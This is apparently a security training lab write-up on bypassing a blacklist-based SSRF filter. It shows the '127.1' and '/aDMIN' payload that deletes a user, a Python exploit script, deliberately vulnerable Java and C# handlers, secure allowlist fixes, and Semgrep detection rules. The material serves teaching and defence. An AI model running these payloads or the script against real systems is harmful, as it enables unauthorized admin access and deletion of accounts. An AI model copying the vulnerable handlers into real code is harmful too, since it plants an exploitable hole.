Post

Lab 03: SSRF with blacklist-based input filter

Lab 03: SSRF with blacklist-based input filter

1. Executive Summary

Vulnerability: Server-Side Request Forgery (SSRF) with Weak Blacklist Defenses.

Description: The application’s stock check feature accepts a user-controlled URL. The developer attempted to prevent SSRF by implementing a blacklist, checking the input string for forbidden terms like 127.0.0.1, localhost, and /admin. However, blacklists are inherently flawed because they only block known bad patterns. Attackers can bypass these filters using IP obfuscation (e.g., 127.1) and case manipulation (e.g., /aDMIN) to slip past the string checks while still successfully routing to the restricted local administrative interface.

Impact: Privilege Escalation / Unauthorized Access. By bypassing the flawed input filters, an attacker forces the server to access its own internal admin panel, allowing them to execute destructive actions such as deleting users.

2. The Attack

Objective: Bypass the anti-SSRF defenses to access the local admin interface and delete the user carlos.

  1. Reconnaissance (Mapping the Filter):
    • I intercepted the POST /product/stock request containing the stockApi parameter.
    • I tested the basic payload: http://127.0.0.1/. The server returned an error, indicating a block.
    • I tested http://localhost/. Blocked again.
  2. Bypassing the IP Blacklist:
    • I utilized IP Obfuscation. Network stacks automatically expand shorthand IP addresses. I changed the URL to http://127.1/.
    • The server accepted it! The string 127.1 did not match the strict 127.0.0.1 blacklist, but the underlying HTTP client resolved it to the loopback address anyway.
  3. Bypassing the Path Blacklist:
    • I appended the admin path: http://127.1/admin. The server blocked the request, revealing a secondary filter on the string /admin.
    • Instead of double-URL encoding, I exploited the case-insensitivity of the backend routing by altering the capitalization: http://127.1/aDMIN.
    • The strict string filter looked for exactly /admin and let /aDMIN pass. The web server, however, treated /aDMIN as equivalent to /admin and served the page.
  4. Exploitation:
    • I combined the bypasses to deliver the final deletion payload:

      stockApi=http://127.1/aDMIN/delete?username=carlos

    • The server executed the request, and the target user was deleted.

3. Code Review

Java (Spring Boot)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam String stockApi) {
    
    // VULNERABLE: Naive string-based blacklist
    if (stockApi.contains("127.0.0.1") || stockApi.contains("localhost")) {
        return ResponseEntity.status(403).body("External SSRF Attempt Blocked");
    }
    
    // VULNERABLE: Case-sensitive path blacklist
    if (stockApi.contains("/admin")) {
        return ResponseEntity.status(403).body("Access to admin path is forbidden");
    }

    try {
        URL url = new URL(stockApi);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("GET");
        
        InputStream inputStream = connection.getInputStream();
        return ResponseEntity.ok(new String(inputStream.readAllBytes()));
    } catch (Exception e) {
        return ResponseEntity.status(500).build();
    }
}

Technical Flow & Syntax Explanation:

  • stockApi.contains(...): The Java String.contains() method performs a strict, case-sensitive character match.
  • The IP Flaw: Because the developer explicitly checked for "127.0.0.1", the string "127.1" passes the if statement. When new URL("http://127.1").openConnection() executes, the OS network layer translates 127.1 to the standard 127.0.0.1 loopback address, successfully bypassing the filter.
  • The Path Flaw: The string "aDMIN" does not contain the exact substring "/admin". It bypasses the second if statement. Once the request hits the internal application framework, case-insensitive routing (common in many setups) maps /aDMIN to the /admin controller.

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
    // VULNERABLE: Blacklist approach lacking robust parsing
    var blacklist = new[] { "127.0.0.1", "localhost", "admin" };
    
    foreach (var term in blacklist)
    {
        // Contains is case-sensitive by default in C#
        if (stockApi.Contains(term)) 
        {
            return Forbid();
        }
    }

    using (var client = new HttpClient())
    {
        var response = await client.GetStringAsync(stockApi);
        return Content(response, "text/html");
    }
}

Technical Flow & Syntax Explanation:

  • stockApi.Contains(term): By default, C#’s String.Contains is ordinal and case-sensitive. It fails to catch aDMIN.
  • HttpClient Execution: When the HttpClient processes http://127.1/aDMIN, the underlying .NET socket resolves 127.1 to the IPv4 loopback. The network stack normalizes the attacker’s obfuscation after the security checks have already been fooled.

Mock PR Comment

The current SSRF defenses rely on a string-based blacklist, which is easily bypassed using IP obfuscation (e.g., 127.1, decimal IPs, or DNS rebinding) and case manipulation.

Recommendation: Abandon the blacklist approach. Implement an Indirect Object Reference (allowlist). If dynamic URL fetching is strictly required, validate the fully parsed IP address and hostname against a strict allowlist of known, safe internal services.

4. The Fix

Explanation of the Fix:

As demonstrated in previous labs, the most secure fix for SSRF is an Indirect Object Reference (Whitelist). We stop accepting URLs entirely. If the client needs to check stock for a specific store, they pass the storeId, and the server maps it to a trusted, hardcoded URL.

Secure Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SECURE: Hardcoded Map of allowed endpoints
private static final Map<Integer, String> STORE_ENDPOINTS = Map.of(
    1, "http://internal-stock.api:8080/check?storeId=1",
    2, "http://internal-stock.api:8080/check?storeId=2"
);

@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam int storeId) {
    // SECURE: Lookup trusted URL based on discrete user input
    String targetUrl = STORE_ENDPOINTS.get(storeId);
    
    if (targetUrl == null) {
        return ResponseEntity.badRequest().body("Invalid store selection.");
    }

    try {
        URL url = new URL(targetUrl);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        
        InputStream inputStream = connection.getInputStream();
        return ResponseEntity.ok(new String(inputStream.readAllBytes()));
    } catch (Exception e) {
        return ResponseEntity.status(500).build();
    }
}

Technical Flow & Syntax Explanation:

  • @RequestParam int storeId: The attacker is forced to provide an integer.
  • STORE_ENDPOINTS.get(storeId): The application acts as a strict gateway. Because the attacker cannot inject http://127.1 into the predefined map, they cannot manipulate the destination of the HttpURLConnection. The SSRF attack surface is completely removed.

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private readonly Dictionary<int, string> _trustedStockApis = new()
{
    { 1, "http://internal-stock-1.api:8080/check" },
    { 2, "http://internal-stock-2.api:8080/check" }
};

[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] int storeId)
{
    // SECURE: Validating against an exact dictionary list
    if (!_trustedStockApis.TryGetValue(storeId, out var internalUrl))
    {
        return BadRequest("Invalid stock identifier.");
    }

    using (var client = new HttpClient())
    {
        var response = await client.GetStringAsync(internalUrl);
        return Content(response, "text/html");
    }
}

Technical Flow & Syntax Explanation:

  • Dictionary<int, string>: Replaces the flawed array of blacklisted strings with a safe collection of explicitly trusted routing destinations.
  • TryGetValue: Eliminates the need for string parsing, URL normalization, or IP resolution checks. If the key isn’t explicitly defined by the developer, the network call never happens.

5. Automation

A Python script that automatically delivers the obfuscated SSRF payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import argparse
import requests
import sys

def exploit_ssrf_blacklist_bypass(url, target_user):
    stock_endpoint = f"{url.rstrip('/')}/product/stock"
    
    # The payload uses 127.1 for IP obfuscation and aDMIN for case manipulation
    ssrf_payload = f"http://127.1/aDMIN/delete?username={target_user}"
    
    data = {
        "stockApi": ssrf_payload
    }
    
    print(f"[*] Targeting endpoint: {stock_endpoint}")
    print(f"[*] Delivering Obfuscated SSRF payload: {ssrf_payload}")
    
    try:
        resp = requests.post(stock_endpoint, data=data)
        
        if resp.status_code == 200:
            print(f"[!!!] SUCCESS: Bypassed filters. User '{target_user}' should be deleted.")
        else:
            print(f"[-] Request failed with status code: {resp.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] A network error occurred: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Exploit SSRF bypassing basic blacklists.")
    parser.add_argument("url", help="Lab URL")
    parser.add_argument("--user", default="carlos", help="User to delete (default: carlos)")
    args = parser.parse_args()
    
    exploit_ssrf_blacklist_bypass(args.url, args.user)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

The Logic: We want to detect when developers attempt to secure a URL parameter using naive string-matching functions (contains, indexOf) instead of proper URL parsing or whitelisting.

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rules:
  - id: java-ssrf-naive-blacklist
    languages: [java]
    message: |
      Naive SSRF Blacklist detected. Using 'contains' or 'startsWith' to block IP addresses 
      like '127.0.0.1' or paths is easily bypassed via obfuscation (e.g., 127.1) or case variations.
      Use an allowlist of trusted domains or indirect object references instead.
    severity: WARNING
    patterns:
      - pattern-either:
          - pattern: $STR.contains("127.0.0.1")
          - pattern: $STR.contains("localhost")
          - pattern: $STR.contains("admin")
      - pattern-inside: |
          public $RET $METHOD(..., String $STR, ...) { ... }

Technical Flow & Syntax Explanation:

  • pattern-either: Looks for common hardcoded blacklist strings used to block local network access.
  • $STR.contains(...): Flags the specific use of string manipulation methods for security checks. It highlights the architectural flaw of treating URLs as simple text rather than structured network identifiers.

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rules:
  - id: csharp-ssrf-naive-blacklist
    languages: [csharp]
    message: |
      Insecure SSRF protection. 'String.Contains' is case-sensitive by default and fails 
      against URL encoding or IP obfuscation. Do not use blacklists for URL validation.
    severity: WARNING
    patterns:
      - pattern-inside: |
          public $RET $METHOD(..., string $STR, ...) { ... }
      - pattern-either:
          - pattern: $STR.Contains("127.0.0.1")
          - pattern: $STR.Contains("localhost")
          - pattern: $STR.Contains("admin")

Technical Flow & Syntax Explanation:

  • $STR.Contains("..."): Captures the exact C# method responsible for the vulnerability. When Semgrep finds this pattern inside a method taking untrusted string input ($STR), it alerts the developer that their perimeter defense can be trivially bypassed.
This post is licensed under CC BY 4.0 by the author.